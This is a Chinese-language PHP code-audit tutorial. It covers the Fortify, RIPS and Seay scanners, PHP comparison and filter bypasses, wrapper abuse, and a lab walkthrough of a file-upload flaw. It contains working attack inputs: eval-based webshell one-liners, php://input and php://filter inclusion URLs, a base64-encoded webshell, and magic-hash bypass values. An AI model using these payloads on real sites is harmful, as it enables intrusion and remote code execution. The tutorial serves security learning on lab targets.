[TOC]
代码审计工具
Fortify
Fortify 是⼀个静态的、⽩盒的软件源代码安全测试⼯具。通过与软件安全漏洞规则集进⾏匹配、查找,从⽽将源代码中存在的安全漏洞扫描出来,并可导出报告。
⽀持语⾔
1. asp.net
2. VB.Net
3. c#.Net
4. ASP
5. VS6
7. java
8. JSP
9. javascript
10. HTML
11. XML
12. C/C++
13. PHP
14. T-SQL
15. PL/SQL
16. Action script
下载与安装
官网:www.opentext.com/zh-cn/produ…
- 分别安装:
-
将fortify-common-23.2.0.0023.jar⽂件分别将下⾯路径的⽂件覆盖:Fortify_Apps_and_Tools_23.2.0\Core\lib
Fortify_SCA_23.2.0\Core\lib
-
更新规则
解压FortifyRules_zh_CH_2023.1.1.0001(离线规则库).zip 规则库
先删除 \Fortify_SCA_23.2.0\Core\config⽬录下的 ExternalMetadata 和rules⽂件夹,然后把解压的 ExternalMetadata 和 rules ⽂件夹拷⻉到该⽬录下
-
运⾏
双击 Fortify_Apps_and_Tools_23.1.0\bin 下的 auditworkbench.cmd 即可开启 GUI界⾯,可以通过⿏标右键将该⽂件的快捷⽅式发送到桌⾯
- 注:不要自定义安装到别的地方,不然会提示找不到静态分析器。
使用方法
-
点击第三个新建扫描
-
弹出来这个界面后,配置扫哪个文件夹(include),或添加别的目录(Add Directory),以及扫描结果的保存位置。
(js文件不用扫,Quick Scan Mode是快速扫描)
- 点击next后,Enable clean是清理缓存
- 点击 Configure Rulepacks 选择你要扫面哪种语言
- 点击 Configure Memory 选择分配占用内存
- 点击 next ,按情况勾选。
- 点击扫描,Run in Background 可以挂后台,
RIPS
RIPS是⼀个⽤ PHP 编写的源代码分析⼯具,它使⽤了静态分析技术,能够⾃动化地挖掘 PHP 源代码潜在的安全漏洞。RIPS 能够检测 XSS, SQL 注⼊, ⽂件泄露, Header Injection 漏洞等。
安装解析 PHP ⽂件的本地⽹络服务器(如果开发 PHP 应⽤程序已经可⽤)。
下载与安装
官网:RIPS - PHP Security Analysis - Browse Files at SourceForge.net
将rips复制到web⽬录
访问 localhost/rips-0.55
使用
-
subdirs:扫描所有⼦⽬录。
-
verbosity level:选择扫描结果的详细程度,缺省为1(建议就使⽤1)。
-
vuln type:选择需要扫描的漏洞类型。⽀持命令注⼊、代码执⾏、SQL注⼊等⼗余种漏洞类型,缺
-
省为全部扫描。
-
code style:选择扫描结果的显示⻛格(⽀持9种语法⾼亮)。
-
/regex/:使⽤正则表达式过滤结果。
输⼊⽬录后可以查看扫描结果
点击右上⻆ user input可以查看web输⼊
详细使用:PHP代码审计工具——Rips详细使用教程 - 简书
Seay
Seay这是基于C#语⾔开发的⼀款针对PHP代码安全性审计的系统,主要运⾏于Windows系统上。基本上覆盖常⻅PHP漏洞。在功能上,它⽀持⼀键审计、代码调试、函数定位、插件扩展、⾃定义规则配置、代码⾼亮、编码调试转换、数据库执⾏监控等数⼗项强⼤功能。(错估率大点)
下载安装
下载seay代码审计⼯具并安装,安装成功如下:
使用
- 新建项⽬并打开pikachu源码⽬录
-
点击"⾃动审计",然后点击“开始”,软件开始运⾏分析整个项⽬
-
查看扫描结果
php代码审计重要函数
sha()函数比较绕过
if (isset($_GET['name']) and isset($_GET['password'])) //传入值不为null
{
if ($_GET['name'] == $_GET['password']) //值的对比不相等
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password'])) //'==='比较类型
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
//使用数组1和数组2满足了值不相等,以及传入sha1()函数后报错的false布尔类型,两个条件
url 输入:
http://127.0.0.1/07.php?name[]=1&password[]=2
sha1() 函数默认的传⼊参数类型是字符串型,传入数组的情况下出现错误,使 sha1() 函数返回错误,也就是返回 false,这时===运算符就判断为true
密码md5比较绕过
if (isset($_GET['username']) and isset($_GET['password'])) { //传入值不为null
if ($_GET['username'] == $_GET['password']) //值的对比不相等
print 'Your password can not be your username.';
else if (md5($_GET['username']) == md5($_GET['password'])) //md5的值相等
die('Flag: '.$flag);
else
print 'Invalid password';
}
传入url:
http://172.22.0.5/09.php?username=QNKCDZO&password=240610708
因为==对⽐的时候会进⾏数据转换,0eXXXXXXXXXX 转成 0 了
md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False
这样的对应数值还有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
也可以使⽤数组绕过 http://127.0.0.1/09.php?username[]=1&password[]=2。PHP对数组进⾏hash计算都会得出null的空值
SESSION验证绕过
session_start();
if (isset($_GET['password'])) { //传入值不为null
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
注: isset()函数用于检测是否有传入参数 passeord,传入 password= 时依然判断为 true。
传入 url :
http://127.0.0.1/index.php?password=
在PHP配置中的默认情况下,Session 是⽤ Session ID 来确定当前对话所对应的服务器Session,sessionID可在 cookie 中找到,当我们删除 cookie 中的sessionID后,$_SESSION[‘password’] 就会返回空,我们同样传⼊空的 password 就能绕过了。
urldecode二次编码绕过
$_GET["id"] = urldecode($_GET["id"]);
由于浏览器的⼀次urldecode,再由服务器端函数的⼀次decode,造成⼆次编码,⽽绕过过滤。
%2527 在两次urldecode会最后变成 '。
str_replace绕过
经常出现在字符过滤等功能逻辑中,由于仅仅过滤⼀次,因此容易被绕过。
$filename= str_replace('../','',$filenames); //将../都替换成空。
仅替换 ../ 不够安全,攻击者可能使⽤ ....// 或 ..\ (Windows) 绕过。
建议:使⽤ realpath() 或专⻔的路径规范化函数。
更多漏洞函数:hongriSec/PHP-Audit-Labs: 一个关于PHP的代码审计项目
php伪协议总结
在PHP中,伪协议是⼀种特殊的协议,⽤于访问不同的数据源。它们并不是真正的⽹络协议,⽽是⼀种封装协议,使得PHP能够以特定的⽅式访问和操作数据。
file:// 协议
条件
不受 allow_url_fopen 与 allow=_url_include 的影响。
用法
当出现读取⽂件函数如file_get_contents()、fopen()、include/require 等时,若用户输入未做严格过滤 / 校验,导致攻击者可控制 PHP 文件操作函数的参数,注入 file:// 协议来访问任意本地文件。
示例
file:// 协议 → 读取服务器本地文件系统:
file:// [⽂件的绝对路径和⽂件名]:
http://127.0.0.1/include.php?file=file://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.txt
file:// [⽂件的相对路径和⽂件名]:
http://127.0.0.1/include.php?file=./phpinfo.txt
http:// 协议 → 让服务器请求恶意服务器:
file:// [http://⽹络路径和⽂件名]:
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php:// 协议
条件
allow_url_include :仅 php://input、php://stdin、php://memory 、php://temp 需要 on。
php:// 访问各个输⼊/输出流(I/O streams),常见的 php://filter ⽤于读取源码,php://input ⽤于执⾏php代码。
php://input
php://input 是 PHP 中的一个输入流伪协议,用于读取POST 请求体中的原始数据,当开发者对php://input的使用不当,如未做过滤、直接将读取的内容写入文件 / 执行代码时,才会被攻击者利用。
示例
未过滤的文件写入 + php://input 导致 webshell 上传
<?php
$content = file_get_contents('php://input');
// 将数据写入指定文件
$file = fopen('test.php', 'w');
fwrite($file, $content);
fclose($file);
echo "文件写入成功";
?>
攻击伪造:
https://localhost
//用burp写入POST DATA部分
<?php eval($_POST[cmd]); ?>
结合文件包含漏洞的利用
<?php
$file = $_GET['file'];
include($file); // 未过滤的文件包含
?>
攻击伪造:
https://localhost/include.php?file=php://input
//用burp写入POST DATA部分
<?php system('whoami'); ?>
php://filter
php://filter 是 PHP 中的过滤器伪协议,主要用于在读取 / 写入文件时对数据流进行过滤处理(如编码转换、内容过滤、压缩解压等)。当开发者对用户输入的文件路径 / 协议未做过滤时,攻击者可利用php://filter结合文件包含(LFI/RFI)、文件读取等漏洞,实现敏感文件读取、代码绕过等攻击。
语法格式:
file=php://filter/[过滤链]/resource=[文件路径]
resource=<要过滤的数据流>(必须项)
过滤链:
read=<读链的过滤器>(可选项)
write=<写链的过滤器>(可选项)
示例:
读取PHP 源码
<?php
// 未过滤的文件包含,用户可控GET参数file
$file = $_GET['file'];
include($file);
?>
攻击伪造:(read格式固定, resource填要读取的文件)
https://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=index.php
- 若直接传入
file=index.php,PHP 会解析并执行index.php,无法看到源码;
注:出现上面的情况时无法使用 read 参数。
结果会出现basae64编码:
解码后得到网站源代码:
存在写入漏洞时,通过php://filter的写过滤器解码并写入恶意代码:
攻击伪造:
http://localhost/write.php?file=php://filter/write=convert.base64-decode/resource=1.php
//用burp写入POST DATA部分
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
zip:// & bzip2:// & zlib:// 协议
作用
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg png gif xxx 等等。
示例
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传 。
http://127.0.0.1/include.php?file=zip://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.jpg%23phpinfo.txt
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样⽀持任意后缀名)。
http://127.0.0.1/include.php?file=compress.bzip2://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.bz2
压缩 phpinfo.txt 为 phpinfo.gz 并上传。
http://127.0.0.1/include.php?file=compress.zlib://E:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.gz
data:// 协议
条件
- allow_url_fopen :on
- allow_url_include :on
用法
dachuangta://text/plain,
data://text/plain;base64,
php代码审计实战
靶场搭建
- 将网站源码下载到本地
- 找到网站的数据库创建文件。
- 打开 Navicat,新建mall数据库,导入数据库文件。
- 修改数据库链接文件:/Mao/common.php
- 打开 phpstudy,创建网站。(网站根目录路径不能有中文)
- 创建成功:
- 后台地址:域名/Mao_admin 账号:admin 密码:qymao.cn_q54
利用工具分析
文件上传漏洞演示
- 查看下扫描结果发现存在路径类漏洞
- 双击查看,发现存在文件上传
-
在 vscode 中查看源码,看是否能满足文件上传前面的条件。
需要满足文件名不为中文,不存在同名文件
需要满足文件名在白名单中
if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 5242880)){
需满足 $type=1
需满足 $mod=upload
-
尝试满足各个参数
$type由daddslashes过滤而来,右键转到函数定义。
看不懂没关系,询问AI发现这个函数只是做一个深入递归和添加转义字符的作用,所以我们直接在url末尾加上 $type=1 即可。
$mod 的接收同 $type 一样。
-
构造请求,用自己的文件上传Demo上传到服务器
<!DOCTYPE html> <html> <head> <title>文件上传示例</title> </head> <body> <form action="http://weishop.com/aapi/api.php?mod=upload&type=1" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传文件"> </form> </body> </html> -
直接把html文件拖到浏览器运行:
- 上传后如图所示:
- 用 burp 抓包修改文件类型,绕过验证
- 上传成功后返回了文件存储路径:
- 访问文件,验证漏洞成功!